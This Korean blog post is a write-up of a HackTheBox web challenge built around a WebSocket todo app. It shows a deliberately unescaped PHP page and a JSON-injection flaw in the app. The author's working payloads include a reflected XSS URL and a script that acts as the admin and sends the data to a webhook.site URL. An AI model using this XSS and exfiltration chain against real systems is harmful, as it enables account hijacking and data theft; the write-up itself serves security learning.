티스토리 뷰
이번에 정말 오랜만에 Hackthebox 에 Web Challenge 카테고리에 따끈따끈한 신규 문제가 출제되었다는 소식을 듣고 후다닥 가서 풀어보았는데요! 역시 명불허전 무척이나 흥미로운 문제였습니다. 옛날에 React 공부할 때 todo list 를 만들었던 기억이 새록새록 떠오르는데요. 이번 문제도 역시나 todo list 관련 문제였습니다... 근데 todo list 에 왠걸 관리자가 있네요? 엄청난 짬뽕 조합이 아닐 수 없습니다. 하지만 푸는 재미만 있으면 되니 그냥 풀어봅니다!
문제 개요
문제 설명 :
This WebSockets-based Todo application features ✨millitary-grade encryption✨ and is extremely low-latency. Ideal for busy students and working professionals alike.
문제 난이도 : Medium
문제 유형 : XSS, Websocket
코드 분석
문제 디렉터리 구조 :
node.js 로 구동되는 서버와 php 로 구동되는 서버로 총 두 개의 서버가 존재했습니다. node.js 서버는 todo 라는 이름과 php 서버는 htmltester 라는 이름으로 부르겠습니다.
결론부터 말해보면, htmltester 서버의 index.php 페이지에서 XSS 공격이 가능했습니다.
<html>
<body>
<?php if (isset($_GET['html'])): ?>
<?php echo $_GET['html']; ?>
<?php else: ?>
<h1>HTML Tester</h1>
<p>Internal development tool</p>
<form action="index.php" method="get">
<input type="text" name="html" />
<input type="submit" value="Submit" />
</form>
<?php endif; ?>
</body>
</html>
GET 파라미터로 들어온 html 값을 별도의 XSS 필터링 없이 그대로 출력하기 때문에 XSS 공격에 취약한 코드임을 볼 수 있습니다.
Reflected XSS 페이로드를 간단하게 제작해보면 아래와 같이 할 수 있겠습니다.
http://206.189.26.62:31338/?html=<script>alert(1)</script>
그럼 이제 htmltester 서버의 XSS에 취약한 페이지인 index.php 에 접근할 수 있는 endpoint가 어디인지 찾아보아야겠지요.
우선 supervisord.conf 파일 내용을 보면 알 수 있듯이 htmltester 서버는 8080 포트로 동작하고 있음을 알 수 있습니다.
코드를 보면 htmltester 서버에 직접적으로 요청할 수 있는 endpoint는 report.js 파일의 visit 함수밖에 없는 것을 확인할 수 있었습니다.
const LOGIN_URL = "http://127.0.0.1/login";
let browser = null
const visit = async (url) => {
const ctx = await browser.createIncognitoBrowserContext()
const page = await ctx.newPage()
await page.goto(LOGIN_URL, { waitUntil: 'networkidle2' })
await page.waitForSelector('form')
await page.type('wired-input[name=username]', process.env.USERNAME)
await page.type('wired-input[name=password]', process.env.PASSWORD)
await page.click('wired-button')
try {
await page.goto(url, { waitUntil: 'networkidle2' })
} finally {
await page.close()
await ctx.close()
}
}
url 파라미터로 들어온 내용으로 관리자로써 로그인 한 뒤 이동하는 기능이 정의되어 있는 것을 볼 수 있습니다.
그럼 이제 이 visit 함수가 호출되는 곳을 찾아서 실제로 XSS 공격이 가능한지 테스트 해보면 될 것입니다.
그리고 그 곳은 바로 아래에 정의되어 있는 함수인 doReportHandler 함수였습니다.
const doReportHandler = async (req, res) => {
if (!browser) {
console.log('[INFO] Starting browser')
browser = await puppeteer.launch({
args: [
"--no-sandbox",
"--disable-background-networking",
"--disk-cache-dir=/dev/null",
"--disable-default-apps",
"--disable-extensions",
"--disable-desktop-notifications",
"--disable-gpu",
"--disable-sync",
"--disable-translate",
"--disable-dev-shm-usage",
"--hide-scrollbars",
"--metrics-recording-only",
"--mute-audio",
"--no-first-run",
"--safebrowsing-disable-auto-update",
]
})
}
const url = req.body.url
if (
url === undefined ||
(!url.startsWith('http://') && !url.startsWith('https://'))
) {
return res.status(400).send({ error: 'Invalid URL' })
}
try {
console.log(`[*] Visiting ${url}`)
await visit(url)
console.log(`[*] Done visiting ${url}`)
return res.sendStatus(200)
} catch (e) {
console.error(`[-] Error visiting ${url}: ${e.message}`)
return res.status(400).send({ error: e.message })
}
}
해당 함수는 req.body.url 로 들어온 url 파라미터를 받아서 visit 함수를 호출해주는 것을 알 수 있습니다. url 파라미터는 http:// 또는 https:// 로 시작해야한다고 정의되어 있네요.
그리고 이 함수는 다시 라우터 함수로 등록되어 있는데, endpoint 는 /report 임을 알 수 있었습니다.
// Report any suspicious activity to the admin!
router.post('/report', doReportHandler);
todo 서버에서 /report 경로로 요청할 때 body 에 url 파라미터로 값을 전송하면 visit 함수의 url 파라미터로 이어진다는 것을 알 수 있습니다.
그럼 이제 관리자에게 Reflected XSS 페이로드를 보낼 수 있게 된 것입니다. 한번 아래와 같이 페이로드를 작성해서 보내보도록합니다.
http://127.0.0.1:8080/?html=<script>document.location.href='https://webhook.site/5f8ae008-4afd-4737-9d23-011a3e137493';</script>
그럼 관리자는 로그인하자마자 위 URL로 이동되어질 겁니다. 그러면 실제로 관리자가 접근하였는지 확인할 수 있겠습니다.
그리고 요청이 정상적으로 온 것을 확인할 수 있었습니다. 이로써 관리자를 향한 XSS 공격이 통한다는 것을 알 수 있습니다.
이제 FLAG 는 대체 어디있는지 확인해볼 필요가 있습니다. FLAG는 todo 서버의 코드 중 wsHandler.js 파일 내용에 있었습니다.
const wsHandler = (ws, req) => {
let userId;
sessionParser(req, {}, () => {
if (req.session.userId) {
userId = req.session.userId;
} else {
ws.close();
}
});
ws.on('message', async (msg) => {
const data = JSON.parse(msg);
const secret = await db.getSecret(req.session.userId);
if (data.action === 'add') {
try {
await db.addTask(userId, `{"title":"${data.title}","description":"${data.description}","secret":"${secret}"}`);
ws.send(JSON.stringify({ success: true, action: 'add' }));
} catch (e) {
ws.send(JSON.stringify({ success: false, action: 'add' }));
}
}
else if (data.action === 'get') {
try {
const results = await db.getTasks(userId);
const tasks = [];
for (const result of results) {
let quote;
if (userId === 1) {
quote = `A wise man once said, "the flag is ${process.env.FLAG}".`;
} else {
quote = quotes[Math.floor(Math.random() * quotes.length)];
}
try {
const task = JSON.parse(result.data);
tasks.push({
title: encrypt(task.title, task.secret),
description: encrypt(task.description, task.secret),
quote: encrypt(quote, task.secret)
});
} catch (e) {
console.log(`Error parsing task ${result.data}: ${e}`);
}
}
ws.send(JSON.stringify({ success: true, action: 'get', tasks: tasks }));
} catch (e) {
ws.send(JSON.stringify({ success: false, action: 'get' }));
}
}
else {
ws.send(JSON.stringify({ success: false, error: 'Invalid action' }));
}
});
};
FLAG는 userId 가 1인 경우에만 작성된 task 의 quote 로 보여주고 있습니다. 즉, 관리자에게만 FLAG를 보여준다는 것이죠.
하지만 관리자는 글을 별도로 작성하지 않았습니다. 때문에 XSS 공격으로 관리자의 권한으로 todo task 도 작성해주어야 하고, 그 작성된 task 의 quote 부분도 가져와주어야 합니다.
다만, 위 내용을 실천하기에 앞서 별도로 신경써줘야 하는 부분은 바로 암호화 된 값을 복호화 해줘야 한다는 점입니다.
각각의 todo task 들은 별도의 iv와 secret key 값이 있어야 복호화가 가능합니다. 그리고 위 코드를 보면 알겠지만 secret key의 경우에는 사용자별로 고유한 secret key 값을 사용하고 있음을 알 수 있습니다.
그럼 우선 XSS 공격으로 관리자가 작성한 글을 가져오기에 앞서 관리자의 secret 값을 가져와야겠지요.
근데 과연 XSS 공격으로 secret 값 탈취가 가능할까요? 결론은 불가능하다는 것이었습니다.
왜냐하면 XSS 공격은 htmltester 서버에서 페이로드가 실행되는데, todo 서버에서는 다른 출처로부터 실행되는 요청을 미들웨어로써 차단하고 있기 때문입니다. 바로 아래코드에서 본 내용을 찾아볼 수 있습니다.
const antiCSRFMiddleware = (req, res, next) => {
const referer = (req.headers.referer? new URL(req.headers.referer).host : req.headers.host);
const origin = (req.headers.origin? new URL(req.headers.origin).host : null);
if (req.headers.host === (origin || referer)) {
next();
} else {
return res.status(403).json({ error: 'CSRF detected' });
}
};
흠... 근데 생각해보면 secret 값을 알지 못하는 상태에서 아무리 내용을 가져와봤자 복호화를 할 수 없어서 의미가 없고, bruteforce 를 하기엔 길이가 너무 길어 아닌 것 같고 그랬습니다.
그러던 중 secret 값을 덮어쓸 수 있는 취약점 한 곳을 발견할 수 있었습니다.
바로 wsHandler.js 파일의 이 코드인데요.
if (data.action === 'add') {
try {
await db.addTask(userId, `{"title":"${data.title}","description":"${data.description}","secret":"${secret}"}`);
ws.send(JSON.stringify({ success: true, action: 'add' }));
} catch (e) {
ws.send(JSON.stringify({ success: false, action: 'add' }));
}
}
data.title 과 data.description 값은 사용자로부터 받아오는 입력 값으로 큰따옴표를 삽입함으로써 JSON 포맷을 파괴할 수 있는 취약점이 존재했습니다.
처음에는 secret 값을 덮어쓸 때 뒤에 secret 값이 있기 때문에 이걸 덮어쓸 수가 있을까? 라는 생각에 넘어갔던 부분이기도 한데, mysql sql mode 를 보고서 페이로드를 길게 작성하면 덮어쓸 수 있겠구나라는 생각이 들었습니다.
[program:mysql]
# Set MySQL modes: https://dev.mysql.com/doc/refman/8.0/en/sql-mode.html
command=/usr/bin/pidproxy /var/run/mysqld/mysqld.pid /usr/sbin/mysqld --sql-mode="NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_ENGINE_SUBSTITUTION"
autorestart=true
supervisord.conf 파일의 최하단에 있는 mysql 실행 시 sql-mode 설정 값을 보면 strict mode를 해제하고 있음을 알 수 있습니다. 그리고 아래 문서 내용을 참고하면 알 수 있듯이, strict mode 가 해제되면 key의 길이가 초과하여도 제약 없이 insert 가 가능하다는 점을 확인할 수 있습니다.
이 점을 활용하여 secret 값을 덮어쓰게 되면 관리자의 todo task 를 삽입하게 될 때 해당 글의 secret 값만큼은 원하는 값으로 변경할 수 있게 되고, 이제 관리자가 해당 글을 불러와서 읽어들일 때 직접 지정해준 secret 값으로 암호화된 내용을 복호화 하여 내용을 읽어올 수 있게 되었습니다!
그리고 그 내용에는 FLAG 값이 있겠지요. 이제 문제를 풀 수 있게 되었으니, 풀어보도록 하겠습니다.
문제 풀이
웹 소켓을 받아오는 javascript 는 문제의 static/index.js 코드에 친절히 설명되어 있어서 해당 코드를 따라서 작성해보았습니다.
const target = '127.0.0.1';
const ws = new WebSocket(`ws://${target}/ws`);
ws.onopen = () => {
ws.send(JSON.stringify({action:'add',title: 'A',description: `AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA","secret":"00000000000000000000000000000000"}`}));
ws.send(JSON.stringify({action:'get'}));
}
ws.onmessage = async (msg) => {
fetch(`https://webhook.site/5f8ae008-4afd-4737-9d23-011a3e137493?m=${msg.data}`)
}
관리자로 로그인한 페이지에서는 제가 보낸 Reflected XSS URL을 타고 들어가서 위 javascript를 실행 당할 것이고, 관리자 권한으로써 secret 값을 덮었는 todo task 를 작성하게 될 것이고, 작성한 todo task 를 읽어들여서 webhook 사이트로 전송하게 될 것입니다.
그리고 이제 전달 받은 암호화된 내용들을 덮어쓴 secret 값으로 /decrypt endpoint를 불러와 복호화만 하면 FLAG를 구할 수 있게 됩니다!
끝!
이번 문제로 배울 수 있던 것은 mysql 버전에 따른 strict mode 기본값 설정이 다르다는 것과 strict mode 해제되었을 때의 파장, javascript 로 websocket을 다루는 방법 등 많은 것을 배울 수 있는 문제였던 것 같습니다.
이런 알찬 문제를 만들어주신 문제 creator 님께 감사함을 전하고 싶네요...!
'보안 > Wargame' 카테고리의 다른 글
[Webhacking.kr] MEMO Service 문제풀이(Writeup) (0) | 2023.01.13 |
---|---|
[Hackthebox] - [Forensics] Wrong Spooky Season Writeup(문제풀이) (0) | 2023.01.09 |
[Hackthebox] Letter Dispair Writeup(문제풀이) (0) | 2022.08.16 |
[Hackthebox] Spiky Tamagotchi Writeup(문제풀이) (0) | 2022.05.31 |
[Hackthebox] Userland City Writeup(문제풀이) (0) | 2022.05.12 |